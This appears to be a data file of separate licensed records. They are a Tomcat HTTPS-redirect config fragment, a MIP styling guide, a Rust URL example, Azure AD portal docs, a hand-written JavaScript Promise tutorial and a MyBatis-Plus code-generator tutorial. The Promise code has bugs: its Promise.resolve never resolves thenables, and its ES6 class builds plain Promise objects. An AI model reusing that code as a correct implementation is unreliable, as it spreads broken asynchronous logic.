<transport-guarantee>CONFIDENTIAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
这样输入http://ip:8080/webproject会强制转到https://ip:8443/webproject
若https端口配置为其它端口了记得把http转接端口一起改了
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="<span style="color:#FF0000;">8443</span>" URIEncoding="UTF-8" /> | 2,449 | Apache-2.0 |
# 自定义样式使用规范
出于性能考虑，HTML 中不允许使用内联 `style`，所有样式只能放到 `<head>` 的 `<style mip-custom>` 标签里。
正确方式：
```html
<head>
<style mip-custom>
p { color: #00f;}
</style>
</head>
<body>
<p>Hello World!</p>
</body>
```
错误方式：
```html
<!-- 禁止使用 style 属性 -->
<p style="color:#00f;">Hello World!</p>
<p>
<!-- 禁止在 body 中使用 style 标签 -->
<style>
p { color: #00f; }
</style>
</p>
```
样式属性规范如下表所示：
|属性|适用范围|说明|
|---|----|---|
| `position: fixed` | 禁止使用 | 请使用 [`<mip-fixed>`](https://www.mipengine.org/v2/components/layout/mip-fixed.html) 组件替代 |
| `!important` | 建议少用 | |
| CSS3 样式，如：<br>`display: flex`<br> `transition`<br> `transform` | 允许使用 | 需自行处理兼容性问题 |
同时需要注意的是，在 class 的命名上，为避免与 MIP 内部使用的类名冲突，因此不要以 `mip-*` 或 `i-mip-*` 作为自定义 class 的名称。 | 743 | MIT |
## 从一个 base URL ，创建新的 URL
[![url-badge]][url] [![cat-net-badge]][cat-net]
这个[`join`]方法，用 base 路径和相对路径，创建新的 URL。
```rust
extern crate url;
use url::{Url, ParseError};
fn main() -> Result<(), ParseError> {
let path = "/rust-lang/cargo";
let gh = build_github_url(path)?;
assert_eq!(gh.as_str(), "https://github.com/rust-lang/cargo");
println!("The joined URL is: {}", gh);
Ok(())
}
fn build_github_url(path: &str) -> Result<Url, ParseError> {
const GITHUB: &'static str = "https://github.com";
let base = Url::parse(GITHUB).expect("hardcoded URL is known to be valid");
let joined = base.join(path)?;
Ok(joined)
}
```
[`join`]: https://docs.rs/url/*/url/struct.Url.html#method.join | 728 | CC0-1.0 |
---
title: "Azure Active Directory プレビューで管理できるすべてのエンタープライズ アプリケーションを表示する | Microsoft Docs"
description: "Azure Active Directory で管理アクセス許可を持つエンタープライズ アプリケーションの一覧を表示する方法"
services: active-directory
documentationcenter:
author: curtand
manager: femila
editor:
ms.assetid: c4fb6f94-34f8-4323-8bd7-a3ee44901f7d
ms.service: active-directory
ms.workload: identity
ms.tgt_pltfrm: na
ms.devlang: na
ms.topic: article
ms.date: 02/13/2017
ms.author: curtand
translationtype: Human Translation
ms.sourcegitcommit: 2ea002938d69ad34aff421fa0eb753e449724a8f
ms.openlocfilehash: 33b036537211e3bdeacba7f388aca334404385cb
---
# <a name="view-all-the-enterprise-apps-that-i-can-manage-in-azure-active-directory-preview"></a>Azure Active Directory プレビューで管理できるすべてのエンタープライズ アプリケーションを表示する
Azure Active Directory (Azure AD) プレビューでエンタープライズ アプリケーションを管理できます。 [プレビューの機能については、こちらの記事をご覧ください。](active-directory-preview-explainer.md) 管理できるアプリケーションの表示、アプリケーションへのユーザーまたはグループの割り当て、アプリケーションのプロパティ (アプリケーションの名前やロゴなど) の管理、ユーザーがサインインできないようにするためのアプリケーションの無効化などを行うことができます。
## <a name="how-do-i-view-all-my-apps"></a>自分のすべてのアプリケーションを表示する方法
1. ディレクトリの全体管理者であるアカウントで [Azure Portal](https://portal.azure.com) にサインインします。
2. **[その他のサービス]** を選択し、テキスト ボックスに「**Azure Active Directory**」と入力して、**Enter** キーを押します。
3. [**Azure Active Directory** - <***ディレクトリ名***>] ブレード (管理対象のディレクトリの Azure AD ブレード) で、**[エンタープライズ アプリケーション]** を選択します。
4. **[エンタープライズ アプリケーション]** ブレードで、**[すべてのアプリケーション]** を選択します。 このブレードで、管理するアプリケーションの選択、表示する列の変更、目的のアプリケーションを見つけるための一覧のフィルター処理 (無効になっているアプリケーションだけを表示するなど) を行うことができます。
## <a name="next-steps"></a>次のステップ
* [エンタープライズ アプリケーションにユーザーまたはグループを割り当てる](active-directory-coreapps-assign-user-azure-portal.md)
* [エンタープライズ アプリケーションからユーザーまたはグループの割り当てを削除する](active-directory-coreapps-remove-assignment-azure-portal.md)
* [エンタープライズ アプリケーションのユーザー サインインを無効にする](active-directory-coreapps-disable-app-azure-portal.md)
* [エンタープライズ アプリケーションの名前またはロゴを変更する](active-directory-coreapps-change-app-logo-user-azure-portal.md)
<!--HONumber=Nov16_HO3--> | 2,138 | CC-BY-3.0 |
## 实现一个Promise
## 一个比较完整的promise就实现了。只需要实现常用的 all，race 等api即可
```js
function Promise(fn) {
var data = undefined, reason = undefined;
var succallbacks = [];
var failcallbacks = [];
var status = "pending";
this.then = function (fulfilled, rejected) {
return new Promise(function(resolve,reject) { //返回一个新的promise
function suc(value) { //成功
var ret = typeof fulfilled === 'function' && fulfilled(value) || value;
if( ret && typeof ret ['then'] == 'function'){ //判断 then中的 返回的是否是promise对象，如果是注册then方法
ret.then(function(value){
resolve(value);
});
} else {
resolve(ret);
}
}
function errback(reason) { //失败
reason = typeof rejected === 'function' && rejected(reason) || reason;
reject(reason);
}
if (status === 'pending') {
succallbacks.push(suc);
failcallbacks.push(errback);
} else if(status === 'fulfilled'){
suc(data);
} else {
errback(reason);
}
})
}
function resolve(value) {
setTimeout(function () { //加入延时
status = "fulfilled";
data = value;
succallbacks.forEach((callback) => {
callback(value);
})
}, 0)
}
function reject(value) {
setTimeout(function () {
status = "rejected";
reason = value;
failcallbacks.forEach((callback) => {
callback(value);
})
}, 0)
}
fn(resolve, reject);
}
let p = new Promise((resolve, reject) => {
setTimeout(() => {
resolve(1);
}, 1000)
}) ;
p.then(data =>{
console.log(data);
return new Promise((resolve,reject) => { //then 方法返回的是一个promise对象，故执行 promise中的then注册该结果，在resolve
setTimeout(() => { resolve(2);},1000)})
}).then(data =>{
console.log(data);
})
```
## 完整
```js
function Promise(task) {
let self = this; //缓存this
self.status = 'pending'; //默认状态为pending
self.value = undefined; //存放着此promise的结果
self.onResolvedCallbacks = []; //存放着所有成功的回调函数
self.onRejectedCallbacks = []; //存放着所有的失败的回调函数
// 调用resolve方法可以把promise状态变成成功态
function resolve(value) {
if (value instanceof Promise) {
return value.then(resolve, reject)
}
setTimeout(function () { // 异步执行所有的回调函数
// 如果当前状态是初始态（pending），则转成成功态
// 此处这个写判断的原因是因为resolved和rejected两个状态只能由pending转化而来，两者不能相互转化
if (self.status == 'pending') {
self.value = value;
self.status = 'resolved';
self.onResolvedCallbacks.forEach(item => item(self.value));
}
});
}
// 调用reject方法可以把当前的promise状态变成失败态
function reject(value) {
setTimeout(function () {
if (self.status == 'pending') {
self.value = value;
self.status = 'rejected';
self.onRejectedCallbacks.forEach(item => item(value));
}
});
}
// 立即执行传入的任务
try {
task(resolve, reject);
} catch (e) {
reject(e);
}
}
/**
* resolvePromise函数的目的是与原生Promise相兼容，可以互相调用
*/
function resolvePromise(promise2, x, resolve, reject) {
// 将返回的promise不停的调用执行，直到失败或者返回一个普通的数据类型
if (promise2 === x) {
return reject(new TypeError('循环引用'));
}
let then, called;
if (x != null && ((typeof x == 'object' || isFunction(x)))) {
// promise
try {
then = x.then;
if (isFunction(then)) {
then.call(x, function (value) {
if (called)return;
called = true;
resolvePromise(promise2, value, resolve, reject);
}, function (reason) {
if (called)return;
called = true;
reject(reason);
});
} else {
resolve(x);
}
} catch (e) {
if (called)return;
called = true;
reject(e);
}
} else {
resolve(x);
}
}
/**
* onFulfilled成功的回调，onReject失败的回调
*/
Promise.prototype.then = function (onFulfilled, onRejected) {
let self = this;
// 当调用时没有写函数给它一个默认函数值
onFulfilled = isFunction(onFulfilled) ? onFulfilled : function (value) {
return value
};
onRejected = isFunction(onRejected) ? onRejected : function (value) {
throw value
};
let promise2;
if (self.status == 'resolved') {
promise2 = new Promise(function (resolve, reject) {
setTimeout(function () {
try {
let x = onFulfilled(self.value);
resolvePromise(promise2, x, resolve, reject);
} catch (e) {
reject(e);
}
});
});
}
if (self.status == 'rejected') {
promise2 = new Promise(function (resolve, reject) {
setTimeout(function () {
try {
let x = onRejected(self.value);
resolvePromise(promise2, x, resolve, reject);
} catch (e) {
reject(e);
}
});
});
}
if (self.status == 'pending') {
promise2 = new Promise(function (resolve, reject) {
self.onResolvedCallbacks.push(function (value) {
try {
let x = onFulfilled(value);
resolvePromise(promise2, x, resolve, reject);
} catch (e) {
reject(e);
}
});
self.onRejectedCallbacks.push(function (value) {
try {
let x = onRejected(value);
resolvePromise(promise2, x, resolve, reject);
} catch (e) {
reject(e);
}
});
});
}
return promise2;
}
/**
* catch实际上是then的一个简写,成功回调传空值即可
*/
Promise.prototype.catch = function (onRejected) {
return this.then(null, onRejected);
}
/**
* Promise.reject(error)是和 Promise.resolve(value) 类似的静态方法，是 new Promise() 方法的快捷方式。
*/
Promise.resolve = function (value) {
return new Promise(function (resolve, reject) {
if (typeof value !== null && typeof value === 'object' && isFunction(value.then)) {
value.then();
} else {
resolve(value);
}
})
};
Promise.reject = function (reason) {
return new Promise(function (resolve, reject) {
reject(reason);
})
};
/**
* all方法，可以传入多个promise，全部执行完后会将结果以数组的方式返回，如果有一个失败就返回失败
*/
Promise.all = function (promises) {
return new Promise(function (resolve, reject) {
let result = []; // all方法最终返回的结果
let count = 0; // 完成的数量
for (let i = 0; i < promises.length; i++) {
promises[i].then(function (data) {
result[i] = data;
if (++count == promises.length) {
resolve(result);
}
}, function (err) {
reject(err);
});
}
});
}
/**
* race方法，可以传入多个promise，返回的是第一个执行完的resolve的结果，如果有一个失败就返回失败
*/
Promise.race = function (promises) {
return new Promise(function (resolve, reject) {
for (let i = 0; i < promises.length; i++) {
promises[i].then(function (data) {
resolve(data);
},function (err) {
reject(err);
});
}
});
}
Promise.deferred = Promise.defer = function () {
var defer = {};
defer.promise = new Promise(function (resolve, reject) {
defer.resolve = resolve;
defer.reject = reject;
})
return defer;
}
/**
* 一些会多次使用的复用功能函数
*/
function isFunction(obj) {
return typeof obj === "function";
}
/**
* 最后可以通过以下命令安装一个promises测试插件，用插件来测试自己实现的promise符不符合规范
* npm(cnpm) i -g promises-aplus-tests
* promises-aplus-tests Promise.js
*/
module.exports = Promise;
```
## ES6 版本
```js
class es6Promise {
constructor(task) {
let self = this; //缓存this
self.status = 'pending'; //默认状态为pending
self.value = undefined; //存放着此promise的结果
self.onResolvedCallbacks = []; //存放着所有成功的回调函数
self.onRejectedCallbacks = []; //存放着所有的失败的回调函数
// 调用resolve方法可以把promise状态变成成功态
function resolve(value) {
if (value instanceof Promise) {
return value.then(resolve, reject)
}
setTimeout(() => { // 异步执行所有的回调函数
// 如果当前状态是初始态（pending），则转成成功态
// 此处这个写判断的原因是因为resolved和rejected两个状态只能由pending转化而来，两者不能相互转化
if (self.status == 'pending') {
self.value = value;
self.status = 'resolved';
self.onResolvedCallbacks.forEach(item => item(self.value));
}
});
}
// 调用reject方法可以把当前的promise状态变成失败态
function reject(value) {
setTimeout(() => {
if (self.status == 'pending') {
self.value = value;
self.status = 'rejected';
self.onRejectedCallbacks.forEach(item => item(value));
}
});
}
// 立即执行传入的任务
try {
task(resolve, reject);
} catch (e) {
reject(e);
}
}
/**
* onFulfilled成功的回调，onReject失败的回调
* 原型链方法
*/
then(onFulfilled, onRejected) {
let self = this;
// 当调用时没有写函数给它一个默认函数值
onFulfilled = isFunction(onFulfilled) ? onFulfilled : value => value;
onRejected = isFunction(onRejected) ? onRejected : value => {
throw value
};
let promise2;
if (self.status == 'resolved') {
promise2 = new Promise((resolve, reject) => {
setTimeout(() => {
try {
let x = onFulfilled(self.value);
resolvePromise(promise2, x, resolve, reject);
} catch (e) {
reject(e);
}
});
});
}
if (self.status == 'rejected') {
promise2 = new Promise((resolve, reject) => {
setTimeout(() => {
try {
let x = onRejected(self.value);
resolvePromise(promise2, x, resolve, reject);
} catch (e) {
reject(e);
}
});
});
}
if (self.status == 'pending') {
promise2 = new Promise((resolve, reject) => {
self.onResolvedCallbacks.push(value => {
try {
let x = onFulfilled(value);
resolvePromise(promise2, x, resolve, reject);
} catch (e) {
reject(e);
}
});
self.onRejectedCallbacks.push(value => {
try {
let x = onRejected(value);
resolvePromise(promise2, x, resolve, reject);
} catch (e) {
reject(e);
}
});
});
}
return promise2;
}
/**
* catch实际上是then的一个简写,成功回调传空值即可
* 原型链方法
*/
catch(onRejected) {
return this.then(null, onRejected);
}
/**
* Promise.reject(err)是和 Promise.resolve(value) 类似的静态方法，是 new Promise() 方法的快捷方式。
* 静态方法为类自己的方法，不在原型链上
*/
static resolve(value) {
return new Promise((resolve, reject) => {
if (typeof value !== null && typeof value === 'object' && isFunction(value.then)) {
value.then();
} else {
resolve(value);
}
})
}
static reject(err) {
return new Promise((resolve, reject) => {
reject(err);
})
}
/**
* all方法，可以传入多个promise，全部执行完后会将结果以数组的方式返回，如果有一个失败就返回失败
* 静态方法为类自己的方法，不在原型链上
*/
static all(promises) {
return new Promise((resolve, reject) => {
let result = []; // all方法最终返回的结果
let count = 0; // 完成的数量
for (let i = 0; i < promises.length; i++) {
promises[i].then(data => {
result[i] = data;
if (++count == promises.length) {
resolve(result);
}
}, err => {
reject(err);
});
}
});
}
/**
* race方法，可以传入多个promise，返回的是第一个执行完的resolve的结果，如果有一个失败就返回失败
* 静态方法为类自己的方法，不在原型链上
*/
static race(promises) {
return new Promise((resolve, reject) => {
for (let i = 0; i < promises.length; i++) {
promises[i].then(data => {
resolve(data);
},err => {
reject(err);
});
}
});
}
}
/**
* resolvePromise函数的目的是与原生Promise相兼容，可以互相调用
*/
function resolvePromise(promise2, x, resolve, reject) {
// 将返回的promise不停的调用执行，直到失败或者返回一个普通的数据类型
if (promise2 === x) {
return reject(new TypeError('循环引用'));
}
let then;
let called;
if (x != null && ((typeof x == 'object' || isFunction(x)))) {
// promise
try {
then = x.then;
if (isFunction(then)) {
then.call(x, value => {
if (called)return;
called = true;
resolvePromise(promise2, value, resolve, reject);
}, reason => {
if (called)return;
called = true;
reject(reason);
});
} else {
resolve(x);
}
} catch (e) {
if (called)return;
called = true;
reject(e);
}
} else {
resolve(x);
}
}
Promise.deferred = Promise.defer = () => {
const defer = {};
defer.promise = new Promise((resolve, reject) => {
defer.resolve = resolve;
defer.reject = reject;
})
return defer;
}
/**
* 一些会多次使用的复用功能函数
*/
function isFunction(obj) {
return typeof obj === "function";
}
/**
* 最后可以通过以下命令安装一个promises测试插件，用插件来测试自己实现的promise符不符合规范
* npm(cnpm) i -g promises-aplus-tests
* promises-aplus-tests es6Promise.js
*/
module.exports = es6Promise;
``` | 14,921 | MIT |
# Spring Boot组件集成专栏之：集成MyBatis-Plus代码生成器（3.5.1版本）
## 1. 关于MP代码生成器
`mybatis-plus-generator`是 `MyBatis-Plus`（简称MP）的代码生成器，通过 `AutoGenerator` （新版是`FastAutoGenerator`）可以快速生成 `Entity`、`Mapper`、`Mapper XML`、`Service`、`Controller` 等各个模块的代码，极大的提升了开发效率。
在上一篇文章《[集成Druid数据库连接池和MyBatis-Plus（含代码生成器）](https://blog.csdn.net/cxh_1231/article/details/120904636)》中，我们有介绍关于集成`MyBatis-Plus代码生成器`的操作。但是此文中，我们使用的是`mybatis-plus-generator`版本是`3.4.1`。如果想使用此版本的代码生成器，可[点击此处](https://blog.csdn.net/cxh_1231/article/details/120904636)查看此文。
而在今年9月末，`苞米豆`更新了`mybatis-plus-generator`代码生成器。不就后，MP的官网更新了关于`3.5.1版本`的教程。
> 官网教程：[https://mp.baomidou.com/guide/generator-new.html](https://mp.baomidou.com/guide/generator-new.html)
基于此版本，我们实现了`两个通用的的代码生成器示例`，并配有详细的`代码注释`，方便结合官网教程理解其使用方法。
> 两个示例分别是：
>
> + 单模块生成代码的示例
> + 多模块生成代码的示例
## 2、集成MP代码生成器
> 下文讲述的是集成`3.5.1版本`的代码生成器。
### 2.1 引入依赖
在 `pom.xml` 文件中引入以下依赖。
```xml
<!-- freemarker，作为代码生成器mapper文件的模板引擎使用（当然也可以使用velocity，二选一即可） -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-freemarker</artifactId>
</dependency>
<!-- 必须引入的两个依赖 -->
<dependency>
<groupId>com.baomidou</groupId>
<artifactId>mybatis-plus</artifactId>
<version>3.4.3.2</version>
</dependency>
<dependency>
<groupId>com.baomidou</groupId>
<artifactId>mybatis-plus-generator</artifactId>
<version>3.5.1</version>
</dependency>
<!-- Druid依赖 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.2.6</version>
</dependency>
<!-- 数据库连接依赖 -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<scope>runtime</scope>
</dependency>
```
以上依赖的详细说明：
+ `freemarker`：代码生成器的模板引擎。不加生成xml出错。
+ `mybatis-plus`：MP的核心依赖。
+ `mybatis-plus-generator`：MP代码生成器的核心依赖。
+ `druid`：数据库连接池。不加无法连接数据库。
+ `mysql-connector`：连接数据库的依赖。不加无法连接数据库。
### 2.2 完善并修改生成器
在`测试文件夹`下，新建一个名为 `FastCodeGenerator` 的 `java class` 文件，如下图所示。
然后在项目 `FastCodeGenerator` 类中，写入如下代码。
> <font color=red>注意：以下代码长达340行！但每句均有详细的注释，请仔细阅读！</font>
```java
package com.cxhit.mybatisplus.generator;
import com.baomidou.mybatisplus.annotation.FieldFill;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.core.exceptions.MybatisPlusException;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.baomidou.mybatisplus.core.toolkit.StringUtils;
import com.baomidou.mybatisplus.generator.FastAutoGenerator;
import com.baomidou.mybatisplus.generator.config.OutputFile;
import com.baomidou.mybatisplus.generator.config.rules.DateType;
import com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;
import com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;
import com.baomidou.mybatisplus.generator.fill.Column;
import com.cxhit.mybatisplus.generator.base.BaseController;
import com.cxhit.mybatisplus.generator.base.BaseEntity;
import java.util.*;
/**
* <p>
* 代码生成器（快速版本）
* </p>
*
* @author 拾年之璐
* @since 2021-10-22 0022 16:51
*/
public class FastCodeGenerator {
// 基础信息配置
// 数据库连接字符
private static final String URL = "jdbc:mysql://localhost:3306/db_study_mp?useUnicode=true&serverTimezone=UTC&useSSL=false&characterEncoding=utf8";
// 数据库用户名
private static final String USERNAME = "root";
// 数据库密码
private static final String PASSWORD = "123456";
// 项目根路径。生成结果如：D:\MyProject\spring-boot
private static final String projectRootPath = System.getProperty("user.dir");
// 项目根路径（测试用，非通用）（此句是本项目测试用的。实际项目中，包括多模块项目，请注释掉此句，使用上句）
// private static final String projectRootPath = System.getProperty("user.dir") + "/study-mybatis-plus-fast-generator";
// 父包名。用于生成的java文件的import。
// private static final String parentPackageName = "com.cxhit.mybatisplus.generator";
private static final String parentPackageName = "com.yourdomain.projectname";
/**
* 执行此处
*/
public static void main(String[] args) {
// 简单示例，适用于单模块项目
simpleGenerator();
// 完整示例，适用于多模块项目
// completeGenerator();
}
/**
* 【单模块】简单的实现方案
*/
protected static void simpleGenerator() {
// 包路径
String packagePath = projectRootPath + "/src/main/java";
// XML文件的路径
String mapperXmlPath = projectRootPath + "/src/main/resources/mapper";
// 开始执行代码生成
FastAutoGenerator.create(URL, USERNAME, PASSWORD)
// 1. 全局配置
.globalConfig(builder -> builder
// 作者名称
.author("拾年之璐")
// 开启覆盖已生成的文件。注释掉则关闭覆盖。
// .fileOverride()
// 禁止打开输出目录。注释掉则生成完毕后，自动打开生成的文件目录。
.disableOpenDir()
// 指定输出目录。如果指定，Windows生成至D盘根目录下，Linux or MAC 生成至 /tmp 目录下。
.outputDir(packagePath)
// 开启swagger2.注释掉则默认关闭。
// .enableSwagger()
// 指定时间策略。
.dateType(DateType.TIME_PACK)
// 注释时间策略。
.commentDate("yyyy-MM-dd")
)
// 2. 包配置
.packageConfig((scanner, builder) -> builder
// 设置父表名
.parent(parentPackageName)
.moduleName(scanner.apply("请输入模块名："))
// mapper.xml 文件的路径。单模块下，其他文件路径默认即可。
.pathInfo(Collections.singletonMap(OutputFile.mapperXml, mapperXmlPath))
)
// 3. 策略配置
.strategyConfig((scanner, builder) -> builder.addInclude(getTables(scanner.apply("请输入表名，多个英文逗号分隔？生成所有表，请输入[all]：")))
// 阶段1：Entity实体类策略配置
.entityBuilder()
// 开启生成实体时生成字段注解。
// 会在实体类的属性前，添加[@TableField("nickname")]
.enableTableFieldAnnotation()
// 逻辑删除字段名(数据库)。
.logicDeleteColumnName("is_delete")
// 逻辑删除属性名(实体)。
// 会在实体类的该字段属性前加注解[@TableLogic]
.logicDeletePropertyName("isDelete")
// 会在实体类的该字段上追加注解[@TableField(value = "create_time", fill = FieldFill.INSERT)]
.addTableFills(new Column("create_time", FieldFill.INSERT))
// 会在实体类的该字段上追加注解[@TableField(value = "update_time", fill = FieldFill.INSERT_UPDATE)]
.addTableFills(new Column("update_time", FieldFill.INSERT_UPDATE))
// 阶段2：Mapper策略配置
.mapperBuilder()
// 开启 @Mapper 注解。
// 会在mapper接口上添加注解[@Mapper]
.enableMapperAnnotation()
// 启用 BaseResultMap 生成。
// 会在mapper.xml文件生成[通用查询映射结果]配置。
.enableBaseResultMap()
// 启用 BaseColumnList。
// 会在mapper.xml文件生成[通用查询结果列 ]配置
.enableBaseColumnList()
// 阶段4：Controller策略配置
.controllerBuilder()
// 会在控制类中加[@RestController]注解。
.enableRestStyle()
// 开启驼峰转连字符
.enableHyphenStyle()
.build()
)
// 4. 模板引擎配置，默认 Velocity 可选模板引擎 Beetl 或 Freemarker
//.templateEngine(new BeetlTemplateEngine())
.templateEngine(new FreemarkerTemplateEngine())
// 5. 执行
.execute();
}
/**
* 【多模块使用】完整的实现方案
*/
protected static void completeGenerator() {
//【1】基础信息配置
// 指定模块名，用于生成的java文件的import。
String moduleName = scanner("请输入模块名：");
// 六个文件的路径。多模块项目下，一般来说每个文件的路径都是不同的（根据项目实际，可能在不同的模块下）。
String entityPath = projectRootPath + "/project-entity/src/main/java/com/yourdomain/projectname/entity/" + moduleName;
String mapperPath = projectRootPath + "/project-dao/src/main/java/com/yourdomain/projectname/mapper/" + moduleName;
String mapperXmlPath = projectRootPath + "/project-dao/src/main/resources/mapper/" + moduleName;
String servicePath = projectRootPath + "/project-service/src/main/java/com/yourdomain/projectname/service/" + moduleName;
String serviceImplPath = projectRootPath + "/project-service/src/main/java/com/yourdomain/projectname/service/" + moduleName + "/impl";
String controllerPath = projectRootPath + "/project-controller/src/main/java/com/yourdomain/projectname/controller/" + moduleName;
// 关于以上写法的解释：
// --- 假设我们的项目有四个模块：project-entity、project-dao、project-service、project-controller
// --- project-entity 的包路径：com.yourdomain.projectname.eneity，
// ---则生成system模块下的sys_user表，生成的实体文件将放在：com.yourdomain.projectname.entity.system包下，SysUser.java。
// --- project-dao 的包路径：com.yourdomain.projectname.mapper，
// ---则生成system模块下的sys_user表，生成的mapper接口文件将放在：com.yourdomain.projectname.mapper.system包下，类名为：SysUserMapper.java。
// --- 其他文件以此类推，即每个模块放MVC结构中对应的类型文件。
// --- 注意：这里最后的文件路径修改了，下文配置中的【2 包配置】中的包路径也要同步修改！否则生成的java文件，首句import会报错。原因是路径错误。
// 【2】开始执行代码生成
FastAutoGenerator.create(URL, USERNAME, PASSWORD)
// 1. 全局配置
.globalConfig(builder -> builder
// 作者名称
.author("拾年之璐")
// 开启覆盖已生成的文件。注释掉则关闭覆盖。请谨慎开启此选项！
// .fileOverride()
// 禁止打开输出目录。注释掉则生成完毕后，自动打开生成的文件目录。
.disableOpenDir()
// 指定输出目录。多模块下，每个类型的文件输出目录不一致，在包配置阶段配置。
// .outputDir(packagePath)
// 开启swagger2。注释掉则默认关闭。
// .enableSwagger()
// 开启 kotlin 模式。注释掉则关闭此模式
// .enableKotlin()
// 指定时间策略。
.dateType(DateType.TIME_PACK)
// 注释时间策略。
.commentDate("yyyy-MM-dd")
)
// 2. 包配置
.packageConfig((scanner, builder) -> builder
// 阶段1：各个文件的包名设置，用来拼接每个java文件的第一句：package com.XXX.XXX.XXX.xxx;
// 父包名配置
.parent(parentPackageName)
// 输入模块名。此模块名会在下面的几个包名前加。多模块项目，请根据实际选择是否添加。
// .moduleName(moduleName)
.entity("entity." + moduleName)
.mapper("mapper." + moduleName)
.service("service." + moduleName)
.serviceImpl("service." + moduleName + ".impl")
.controller("controller." + moduleName)
.other("other")
// 阶段2：所有文件的生成路径配置
.pathInfo(
new HashMap<OutputFile, String>() {{
// 实体类的保存路径
put(OutputFile.entity, entityPath);
// mapper接口的保存路径
put(OutputFile.mapper, mapperPath);
// mapper.xml文件的保存路径
put(OutputFile.mapperXml, mapperXmlPath);
// service层接口的保存路径
put(OutputFile.service, servicePath);
// service层接口实现类的保存路径
put(OutputFile.serviceImpl, serviceImplPath);
// 控制类的保存路径
put(OutputFile.controller, controllerPath);
}}
)
)
// 3. 策略配置【请仔细阅读每一行，根据项目实际项目需求，修改、增删！！！】
.strategyConfig((scanner, builder) -> builder.addInclude(getTables(scanner.apply("请输入表名，多个英文逗号分隔？生成所有表，请输入[all]：")))
// 阶段1：Entity实体类策略配置
.entityBuilder()
// 设置父类。会在生成的实体类名后：extends BaseEntity
// .superClass(BaseEntity.class)
// 禁用生成 serialVersionUID。（不推荐禁用）
// .disableSerialVersionUID()
// 开启生成字段常量。
// 会在实体类末尾生成一系列 [public static final String NICKNAME = "nickname";] 的语句。（一般在写wapper时，会用到）
// .enableColumnConstant()
// 开启链式模型。
// 会在实体类前添加 [@Accessors(chain = true)] 注解。用法如 [User user=new User().setAge(31).setName("snzl");]（这是Lombok的注解，需要添加Lombok依赖）
// .enableChainModel()
// 开启 lombok 模型。
// 会在实体类前添加 [@Getter] 和 [@Setter] 注解。（这是Lombok的注解，需要添加Lombok依赖）
// .enableLombok()
// 开启 Boolean 类型字段移除 is 前缀。
// .enableRemoveIsPrefix()
// 开启生成实体时生成字段注解。
// 会在实体类的属性前，添加[@TableField("nickname")]
.enableTableFieldAnnotation()
// 逻辑删除字段名(数据库)。
.logicDeleteColumnName("is_delete")
// 逻辑删除属性名(实体)。
// 会在实体类的该字段属性前加注解[@TableLogic]
.logicDeletePropertyName("isDelete")
// 数据库表映射到实体的命名策略(默认下划线转驼峰)。一般不用设置
// .naming(NamingStrategy.underline_to_camel)
// 数据库表字段映射到实体的命名策略(默认为 null，未指定按照 naming 执行)。一般不用设置
// .columnNaming(NamingStrategy.underline_to_camel)
// 添加父类公共字段。
// 这些字段不会出现在新增的实体类中。
.addSuperEntityColumns("id", "delete_time")
// 添加忽略字段。
// 这些字段不会出现在新增的实体类中。
// .addIgnoreColumns("password")
// 添加表字段填充
// 会在实体类的该字段上追加注解[@TableField(value = "create_time", fill = FieldFill.INSERT)]
.addTableFills(new Column("create_time", FieldFill.INSERT))
// 会在实体类的该字段上追加注解[@TableField(value = "update_time", fill = FieldFill.INSERT_UPDATE)]
.addTableFills(new Column("update_time", FieldFill.INSERT_UPDATE))
// 全局主键类型。如果MySQL主键设置为自增，则不需要设置此项。
// .idType(IdType.AUTO)
// 格式化文件名称。
// 如果不设置，如表[sys_user]的实体类名是[SysUser]。设置成下面这样，将是[SysUserEntity]
// .formatFileName("%sEntity")
// 阶段2：Mapper策略配置
.mapperBuilder()
// 设置父类
// 会在mapper接口方法集成[extends BaseMapper<XXXEntity>]
// .superClass(BaseMapper.class)
// 开启 @Mapper 注解。
// 会在mapper接口上添加注解[@Mapper]
.enableMapperAnnotation()
// 启用 BaseResultMap 生成。
// 会在mapper.xml文件生成[通用查询映射结果]配置。
.enableBaseResultMap()
// 启用 BaseColumnList。
// 会在mapper.xml文件生成[通用查询结果列 ]配置
.enableBaseColumnList()
// 设置缓存实现类
// .cache(MyMapperCache.class)
// 格式化 mapper 文件名称。
// 如果不设置，如表[sys_user]，默认的文件名是[SysUserMapper]。写成下面这种形式后，将变成[SysUserDao]。
// .formatMapperFileName("%sDao")
// 格式化 xml 实现类文件名称。
// 如果不设置，如表[sys_user]，默认的文件名是[SysUserMapper.xml]，写成下面这种形式后，将变成[SysUserXml.xml]。
// .formatXmlFileName("%sXml")
// 阶段3：Service策略配置
// .serviceBuilder()
// 设置 service 接口父类
// .superServiceClass(BaseService.class)
// 设置 service 实现类父类
// .superServiceImplClass(BaseServiceImpl.class)
// 格式化 service 接口文件名称
// 如果不设置，如表[sys_user]，默认的是[ISysUserService]。写成下面这种形式后，将变成[SysUserService]。
// .formatServiceFileName("%sService")
// 格式化 service 实现类文件名称
// 如果不设置，如表[sys_user]，默认的是[SysUserServiceImpl]。
// .formatServiceImplFileName("%sServiceImpl")
// 阶段4：Controller策略配置
.controllerBuilder()
// 设置父类。
// 会集成此父类。
// .superClass(BaseController.class)
// 开启生成 @RestController 控制器
// 会在控制类中加[@RestController]注解。
.enableRestStyle()
// 开启驼峰转连字符
.enableHyphenStyle()
// 最后：构建
.build()
)
//模板引擎配置，默认 Velocity 可选模板引擎 Beetl 或 Freemarker
//.templateEngine(new BeetlTemplateEngine())
.templateEngine(new FreemarkerTemplateEngine())
// 执行
.execute();
}
// 处理 all 情况
protected static List<String> getTables(String tables) {
return "all".equals(tables) ? Collections.emptyList() : Arrays.asList(tables.split(","));
}
/**
* <p>
* 读取控制台内容
* </p>
*/
private static String scanner(String tip) {
Scanner scanner = new Scanner(System.in);
StringBuilder help = new StringBuilder();
help.append("请输入").append(tip).append("：");
System.out.println(help.toString());
if (scanner.hasNext()) {
String ipt = scanner.next();
if (StringUtils.isNotBlank(ipt)) {
return ipt;
}
}
throw new MybatisPlusException("请输入正确的" + tip + "！");
}
}
```
